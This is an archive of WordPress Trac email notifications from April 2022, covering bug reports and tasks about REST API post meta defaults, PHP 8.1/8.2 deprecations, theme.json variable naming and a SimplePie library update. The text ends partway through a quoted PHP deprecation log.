wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 11:55:50 -0000 Subject: [wp-trac] [WordPress Trac] #55599: There has been a critical error on this website. Message-ID: <050.d041f0e610cec103dba890a4b025c45c@wordpress.org> #55599: There has been a critical error on this website. --------------------------+----------------------------- Reporter: yogs08 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Site Health | Version: 5.9.3 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Website is not accessible from anywhere -- Ticket URL: <https://core.trac.wordpress.org/ticket/55599> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 12:47:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 12:47:45 -0000 Subject: [wp-trac] [WordPress Trac] #51423: Fix function argument type issues reported by PHPStan In-Reply-To: <058.037cc284a8025103d89d1563dadfd659@wordpress.org> References: <058.037cc284a8025103d89d1563dadfd659@wordpress.org> Message-ID: <073.6f8258d6a7cc8075d338e340695a26bf@wordpress.org> #51423: Fix function argument type issues reported by PHPStan -------------------------------------------+------------------------------- Reporter: SergeyBiryukov | Owner: hellofromTonya Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.1 Component: General | Version: Severity: normal | Resolution: Keywords: php8 has-patch has-unit-tests | Focuses: coding-standards -------------------------------------------+------------------------------- Changes (by hellofromTonya): * milestone: 6.0 => 6.1 Comment: There's a lot more work to do, though none got done in 6.0. Moving this to 6.1. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51423#comment:110> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 13:47:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 13:47:24 -0000 Subject: [wp-trac] [WordPress Trac] #55600: Can't save registered post meta field of type string that equals registered default value via REST API Message-ID: <052.6f3c4c93870bff5abf0d544fa4c333ab@wordpress.org> #55600: Can't save registered post meta field of type string that equals registered default value via REST API --------------------------------+----------------------------- Reporter: kraftner | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Options, Meta APIs | Version: Severity: normal | Keywords: Focuses: rest-api | --------------------------------+----------------------------- == Current behaviour Currently if you register a post meta key as string and set a default value: {{{ register_post_meta( 'my_cpt, 'my_meta', [ 'show_in_rest' => true, 'single' => true, 'type' => 'string', 'default' => 'foo' ] ); }}} and then save the default value it is not actually being written to the database. If you save any other type, e.g. a boolean {{{ register_post_meta( 'my_cpt, 'my_meta', [ 'show_in_rest' => true, 'single' => true, 'type' => 'boolean', 'default' => true ] ); }}} it is being written to the database. Also not saving via the REST API, but via `update_metadata()` works for strings. == What seems to happen The problem seems to happen like this: - Post meta is only saved if it differs from the currently stored value. - So before saving each field the new value is compared with the stored value. - When doing so the assumption is (rightfully) that all stored data is a string since that is how post meta is stored in the DB. - If the key doesn't exist though, the comparison happens with the default value. - The default value though isn't necessarily a string, but is handled as such in the strict equality check. - So the strict equality check fails on anything but a string field. **-> String fields can't save the default value, anything else can.** == How did it come to this? I am not absolutely sure what is actually the intended behavior, but I assume if there is nothing stored in the DB the value should be saved, even if it equals the default. I assume this because the behavior of `update_metadata()` [https://core.trac.wordpress.org/changeset/48402 got changed] to only consider DB data, not default values for the comparison by retrieving the stored data using `get_metadata_raw()` instead of `get_metadata()`. `WP_REST_Meta_Fields` duplicates some of the checks in `update_metadata()` ([https://github.com/WordPress/wordpress- develop/blob/14d9ca8da64688f799695eb9683e6ac8166cd4ee/src/wp-includes /rest-api/fields/class-wp-rest-meta-fields.php#L382 even explicitly states that in a comment]) but `WP_REST_Meta_Fields::update_meta_value()` (and some other places in that class) didn't get the change to use `get_metadata_raw()` instead of `get_metadata()`. I assume this got overlooked when introducing the default metadata values in https://core.trac.wordpress.org/changeset/48402 It seems that replacing get_metadata with get_metadata_raw in that class should fix the issue, but I haven't found time yet to prepare a patch, so I thought I'd at least document the issue for now to see if someone else finds time for a fix before me. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55600> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 13:58:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 13:58:04 -0000 Subject: [wp-trac] [WordPress Trac] #55601: PHP Warning in wp-db.php on line 740 Message-ID: <053.da29e814d0a2a2a835ef6e6beeb6e7a5@wordpress.org> #55601: PHP Warning in wp-db.php on line 740 --------------------------+----------------------------- Reporter: jimhill10 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Database | Version: Severity: trivial | Keywords: Focuses: | --------------------------+----------------------------- I began seeing this PHP warning when I moved to PHP 8.0 WordPress 5.9.3: {{{ [NOTICE] [2996] [T0] [x.x.x.x:52242#APVH_domain.com:443] [STDERR] PHP Warning: Undefined property: wpdb::$actionscheduler_groups in /home/username/public_html/wp-includes/wp-db.php on line 740 }}} Where the x.x.x.x is one of the IP's for my Sucuri proxy and domain.com is the domain being served. The function in that file is: {{{ /** * Makes private properties readable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to get, and optionally process. * @return mixed The private member. */ public function __get( $name ) { if ( 'col_info' === $name ) { $this->load_col_info(); } return $this->$name; } }}} and line 740 is: {{{ return $this->$name; }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55601> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 15:58:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 15:58:35 -0000 Subject: [wp-trac] [WordPress Trac] #55602: theme.json custom variables with letter and number next to eachother gets converted to letter {dash} number in the css vars HTML output Message-ID: <055.6840ed5e838719ce6d173a91ffbdb8f3@wordpress.org> #55602: theme.json custom variables with letter and number next to eachother gets converted to letter {dash} number in the css vars HTML output ------------------------------+----------------------------- Reporter: cbaldelomar | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: Focuses: coding-standards | ------------------------------+----------------------------- In theme.json file, version 2, the following custom entry {{{"heading-font-size-h1": "var(--cp-vars-heading-font-size-h1)",}}} renders in an HTML document: {{{--wp--custom--heading-font-size-h-1: var(--cp-vars-heading-font- size-h1);}}} This use to not be the case, and was a breaking change for plugins and themes that use `h1` in their CSS vars instead of the changed `h-1`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55602> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 17:11:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 17:11:05 -0000 Subject: [wp-trac] [WordPress Trac] #55602: theme.json custom variables with letter and number next to eachother gets converted to letter {dash} number in the css vars HTML output In-Reply-To: <055.6840ed5e838719ce6d173a91ffbdb8f3@wordpress.org> References: <055.6840ed5e838719ce6d173a91ffbdb8f3@wordpress.org> Message-ID: <070.f6cd6528581f8a8c48ad427c275dd200@wordpress.org> #55602: theme.json custom variables with letter and number next to eachother gets converted to letter {dash} number in the css vars HTML output --------------------------+------------------------------ Reporter: cbaldelomar | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: duplicate Keywords: | Focuses: --------------------------+------------------------------ Changes (by joyously): * status: new => closed * focuses: coding-standards => * resolution: => duplicate Comment: Duplicate of #54953. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55602#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 18:35:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 18:35:12 -0000 Subject: [wp-trac] [WordPress Trac] #10886: WordPress should not unnecessarily query posts at page load In-Reply-To: <053.931185c546a0edbf3024f49b87a08e43@wordpress.org> References: <053.931185c546a0edbf3024f49b87a08e43@wordpress.org> Message-ID: <068.ffe8803848428847c05131221a707457@wordpress.org> #10886: WordPress should not unnecessarily query posts at page load -------------------------------------------------+------------------------- Reporter: junsuijin | Owner: | spacedmonkey Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: 2.8.4 Severity: normal | Resolution: fixed Keywords: has-unit-tests early has-patch | Focuses: needs-dev-note needs-docs | performance -------------------------------------------------+------------------------- Comment (by pbearne): link to dev note https://docs.google.com/document/d/1h881fKfLzlGvZ62ym3gEDWATbuR7yZrmqP5V5vm0CXg/edit?usp=sharing -- Ticket URL: <https://core.trac.wordpress.org/ticket/10886#comment:43> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 19:24:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 19:24:21 -0000 Subject: [wp-trac] [WordPress Trac] #55603: PHP 8.2: address deprecation of the utf8_encode() and utf8_decode() functions Message-ID: <047.30dfe57000d1e696e2fc5d4726295b61@wordpress.org> #55603: PHP 8.2: address deprecation of the utf8_encode() and utf8_decode() functions ------------------------------+------------------------------------- Reporter: jrf | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.1 Component: General | Version: trunk Severity: normal | Keywords: 2nd-opinion early php82 Focuses: coding-standards | ------------------------------+------------------------------------- == Context The [https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode PHP RFC to remove the `utf8_encode()` and `utf8_decode()` functions] from PHP in PHP 9.0 has recently been accepted. This means in effect that as of PHP 8.2, those functions will be deprecated and a deprecation notice will be thrown whenever they are called. The reasoning behind the deprecation and removal is that these functions are confusing and rarely used correctly. See the [https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode#usage Usage section] of the RFC for an analysis of the various (mostly incorrect) uses of the functions. == The Problem The [https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode#alternatives_to_removed_functionality typical replacements for these functions] are using the [https://www.php.net/manual/en/book.mbstring.php MBString extension] and/or the [https://www.php.net/manual/en/book.iconv.php Iconv extension]. As these extensions are both ''optional'' extensions in PHP, they cannot be relied on to be available in an open source context. WordPress uses the `utf8_encode()` function a few times in the codebase: * 1 x `utf8_encode()` in `src/wp-admin/includes/export.php` * 2 x `utf8_encode()` in `src/wp-admin/includes/image.php` * 1 x `utf8_encode()` in `tests/phpunit/tests/kses/php` Aside from that the external dependency [https://github.com/JamesHeinrich/getID3 GetID3] also uses both these functions a number of times. A search of the plugin and theme directory shows more worrying results with a plenitude of matches: * [https://wpdirectory.net/search/01G16P0SWHB37G2965MP8R4ZYK 11247 matches in 3315 plugins], including 15 plugins with over a million installs. * [https://wpdirectory.net/search/01G16P2K39TQ538M9KRTVXT4CA 40 matches in 22 themes]. == Options So, what are the options we have ? In my opinion, especially seeing how these functions are used so often in plugins, there are only two realistic options: === 1. We could polyfill these functions. While some functions which may not be available are polyfilled by WP, this is generally only done to have access to ''new'' PHP functionality or to allow for using functions which require certain optional extensions to be enabled. As far as I know, no PHP native function has ever been polyfilled due to it being removed from PHP. **Pro**: Relatively simple solution and everything keeps working (deprecation notices will still show when running on PHP 8.x, though these could silenced). **Con**: As most uses of these functions are likely to be incorrect usage (especially in plugins), these "bugs" will remain and not be reviewed or addressed, undercutting the improvement PHP is trying to make. === 2. We could make the MbString (or the Iconv) extension a requirement At this moment, [https://core.trac.wordpress.org/browser/trunk/src/wp- admin/includes/class-wp-site-health.php#L876 both the MbString as well as the Iconv extension are recommended, but not required by WP]. A couple of MbString functions are also polyfilled in WP, so now might be a good time to make the MbString extension a requirement for WP. **Pro**: MbString being available will allow for fixing the deprecations in a forward-compatible manner. It will also allow for other code improvements to be made to improve WPs support for languages using non-latin based scripts. **Con**: A new requirement would be added to WP which should not be taken lightly. At the same time, it should be noted that MbString is generally enabled already anyway, so this will impact only a small percentage of users. ==== Why MbString instead of Iconv ? While both are included (though not enabled) by default with PHP, Iconv [https://www.php.net/manual/en/iconv.requirements.php requires the `libiconv` library], which may not be available, while MbString has [https://www.php.net/manual/en/mbstring.requirements.php no external dependencies]. MbString is [https://www.php.net/manual/en/mbstring.installation.php not enabled by default in PHP], but generally ''is'' enabled in practice. [https://www.php.net/manual/en/mbstring.installation.php Iconv is enabled by default] in PHP, but can be disabled. Having said that, MbString offers much more functionality than the limited functionality offered by Iconv and - as indicated by a number of functions being polyfilled - is already in use in WP. Still, it would be helpful if someone with access to the underlying statistics data collected by WP could add figures to this issue showing how often either extension is enabled on systems running WP. == Recommendation I'd strongly recommend option 2, but would like to hear the opinions of additional Core devs. == Action lists === General - [ ] Report the issue to GetID3 === Action list for option 1 - [ ] Polyfill the functions. - [ ] Review the uses of the functions in WP Core anyhow to see if those could/should be removed/the code using them should be refactored. - [ ] Add a note about the polyfills in a dev-note with a recommendation for plugin/theme authors to review their use of these functions anyhow. === Action list for option 2 - [ ] Change the MbString function from optional to required in the Site Health component. - [ ] Remove the current MbString related polyfills from the `compat.php` file. - [ ] Review the uses of the functions in WP Core and replace with more appropriate alternatives. - [ ] Add a note about the deprecation in the PHP 8.2 dev-note with a recommendation for plugin/theme authors to review their use of these functions and noting that the MbString extension can be relied upon to be available (as of WP 6.1). -- Ticket URL: <https://core.trac.wordpress.org/ticket/55603> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 20:05:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 20:05:26 -0000 Subject: [wp-trac] [WordPress Trac] #55604: Update SimplePie to version 1.6.0 Message-ID: <047.c34ba4ae081f66b45c7a9c6875b77ff0@wordpress.org> #55604: Update SimplePie to version 1.6.0 ----------------------------+---------------------------------------------- Reporter: jrf | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.1 Component: External | Version: trunk Libraries | Severity: normal | Keywords: needs-patch needs-dev-note early Focuses: | ----------------------------+---------------------------------------------- A new version of SimplePie has just been released. This version contains a few enhancements and some bug fixes. The most notable change, however, is that this release contains a ''forward-compatibility'' layer for the change to PSR-4 namespaced classes which is targetted for SimplePie 2.0.0. With some similarity to Requests - the namespaced versions of the classes are in a different base directory (`src`) from the original versions (`library`). As WP currently only includes the files in the `library` directory, I would like to suggest to continue doing so for now. This still makes the ''forward-compatibility'' layer available as all files in the `library` directory now create a ''class alias'' to their namespaced version. Once 2.0.0 has been released, the files included in WP, should be switched to the files from the `src` directory (which is currently in place mostly to allow for Composer autoloading) and should start using the namespaced names for the SimplePie classes. I'd recommend for this update to be mentioned in a dev-note, so plugins/themes directly using SimplePie can decide for themselves when they want to change to using the namespaced names for SimplePie classes. Refs: * https://github.com/simplepie/simplepie/releases/tag/1.6.0 * https://github.com/simplepie/simplepie/blob/1.6.0/CHANGELOG.md#160--- 2022-04-21 * https://github.com/simplepie/simplepie/compare/1.5.8...1.6.0 I've done a cursory check of the changes and they look sane to me, but would very much like to invite a second opinion and I'd recommend testing this change (more thoroughly than usually done for upgrades like these). I'd also like to recommend for a few cursory tests to be added to the WP test suite to ensure that both the PSR-0 as well as the PSR-4 class names load correctly when only including the `library` directory in WP. I'd recommend for this update to be applied in WP 6.1 **early**. Previous: #36669, #51521, #54659 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55604> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 20:09:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 20:09:16 -0000 Subject: [wp-trac] [WordPress Trac] #33885: meta_form performs a potentially expensive query In-Reply-To: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> References: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> Message-ID: <065.0d8f26fbc1ef7afb385e02ad5122d47a@wordpress.org> #33885: meta_form performs a potentially expensive query -------------------------------------+------------------------------------- Reporter: jorbin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.3.1 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration, needs-unit-tests needs-refresh | performance -------------------------------------+------------------------------------- Comment (by uzumymw): Any progress for current major (6.0) release? -- Ticket URL: <https://core.trac.wordpress.org/ticket/33885#comment:97> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 20:25:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 20:25:11 -0000 Subject: [wp-trac] [WordPress Trac] #55598: Bunch of errors wordpress-6.0-beta2.zip with PHP 8.1.5 In-Reply-To: <053.e4e51caa38a840075874a1b2841b76c4@wordpress.org> References: <053.e4e51caa38a840075874a1b2841b76c4@wordpress.org> Message-ID: <068.bcd59a736fe291a749a8e88fe651fe2e@wordpress.org> #55598: Bunch of errors wordpress-6.0-beta2.zip with PHP 8.1.5 --------------------------+------------------------ Reporter: campation | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: duplicate Keywords: | Focuses: --------------------------+------------------------ Changes (by costdev): * status: assigned => closed * severity: major => normal * component: Build/Test Tools => General * milestone: Awaiting Review => * keywords: needs-patch needs-testing => * resolution: => duplicate Comment: Hi @campation, thanks for opening this ticket! Deprecation notices are not errors and are nothing to be concerned about. Everything will still work as it should when `WP_DEBUG` is turned off (as it should be on production websites). Also see this blogpost: https://make.wordpress.org/core/2022/01/10/wordpress-5-9-and-php-8-0-8-1/ The update of the Requests library is already being tracked in #54504, so I'll close this issue as a duplicate. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55598#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 20:42:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 20:42:57 -0000 Subject: [wp-trac] [WordPress Trac] #55598: Bunch of errors wordpress-6.0-beta2.zip with PHP 8.1.5 In-Reply-To: <053.e4e51caa38a840075874a1b2841b76c4@wordpress.org> References: <053.e4e51caa38a840075874a1b2841b76c4@wordpress.org> Message-ID: <068.bf61c64c603da4f29aaaa68b41d4ce87@wordpress.org> #55598: Bunch of errors wordpress-6.0-beta2.zip with PHP 8.1.5 --------------------------+------------------------ Reporter: campation | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: duplicate Keywords: | Focuses: --------------------------+------------------------ Description changed by SergeyBiryukov: Old description: > on my development site (Plesk Obsidian, Centos 7.9) a fresh installed > latest WP 6.0 beta2 does create a lot of errors when switching from PHP > 8.0.18 (error free) to PHP 8.1.5. > > See attached debug.log created during first login as admin. > > Chris > PS: no answer required > > [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetExists($key) should either be compatible with > ArrayAccess::offsetExists(mixed $offset): bool, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 63 > [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetGet($key) should either be compatible with > ArrayAccess::offsetGet(mixed $offset): mixed, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 73 > [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetSet($key, $value) should either be compatible > with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 89 > [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetUnset($key) should either be compatible with > ArrayAccess::offsetUnset(mixed $offset): void, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 102 > [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::getIterator() should either be compatible with > IteratorAggregate::getIterator(): Traversable, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 111 > [21-Apr-2022 10:59:44 UTC] PHP Deprecated: http_build_query(): Passing > null to parameter #2 ($numeric_prefix) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Transport/cURL.php on line 345 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetExists($key) should > either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, > or the #[\ReturnTypeWillChange] attribute should be used to temporarily > suppress the notice in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 40 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetGet($key) should either > be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 51 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetSet($key, $value) > should either be compatible with ArrayAccess::offsetSet(mixed $offset, > mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be > used to temporarily suppress the notice in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 68 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetUnset($key) should > either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, > or the #[\ReturnTypeWillChange] attribute should be used to temporarily > suppress the notice in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 82 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::getIterator() should either > be compatible with IteratorAggregate::getIterator(): Traversable, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 91 > [21-Apr-2022 10:59:45 UTC] PHP Warning: Cannot modify header information > - headers already sent by (output started at > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php:15) in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp-admin/admin- > header.php on line 9 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: setcookie(): Passing null to > parameter #5 ($domain) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/option.php on line 1111 > [21-Apr-2022 10:59:45 UTC] PHP Warning: Cannot modify header information > - headers already sent by (output started at > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php:15) in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/option.php on line 1111 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: setcookie(): Passing null to > parameter #5 ($domain) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/option.php on line 1112 > [21-Apr-2022 10:59:45 UTC] PHP Warning: Cannot modify header information > - headers already sent by (output started at > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php:15) in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/option.php on line 1112 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to > parameter #1 ($string) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/formatting.php on line 2772 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to > parameter #1 ($string) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/formatting.php on line 2772 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to > parameter #1 ($string) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/formatting.php on line 2772 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to > parameter #1 ($string) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/formatting.php on line 2772 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to > parameter #1 ($string) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/formatting.php on line 2772 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to > parameter #1 ($string) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/formatting.php on line 2772 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to > parameter #1 ($string) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/formatting.php on line 2772 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to > parameter #1 ($string) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/formatting.php on line 2772 > [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to > parameter #1 ($string) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/formatting.php on line 2772 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetExists($key) should either be compatible with > ArrayAccess::offsetExists(mixed $offset): bool, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 63 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetGet($key) should either be compatible with > ArrayAccess::offsetGet(mixed $offset): mixed, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 73 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetSet($key, $value) should either be compatible > with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 89 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetUnset($key) should either be compatible with > ArrayAccess::offsetUnset(mixed $offset): void, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 102 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::getIterator() should either be compatible with > IteratorAggregate::getIterator(): Traversable, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 111 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: http_build_query(): Passing > null to parameter #2 ($numeric_prefix) of type string is deprecated in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Transport/cURL.php on line 530 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetExists($key) should either be compatible with > ArrayAccess::offsetExists(mixed $offset): bool, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 63 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetGet($key) should either be compatible with > ArrayAccess::offsetGet(mixed $offset): mixed, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 73 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetSet($key, $value) should either be compatible > with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 89 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::offsetUnset($key) should either be compatible with > ArrayAccess::offsetUnset(mixed $offset): void, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 102 > [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of > Requests_Cookie_Jar::getIterator() should either be compatible with > IteratorAggregate::getIterator(): Traversable, or the > 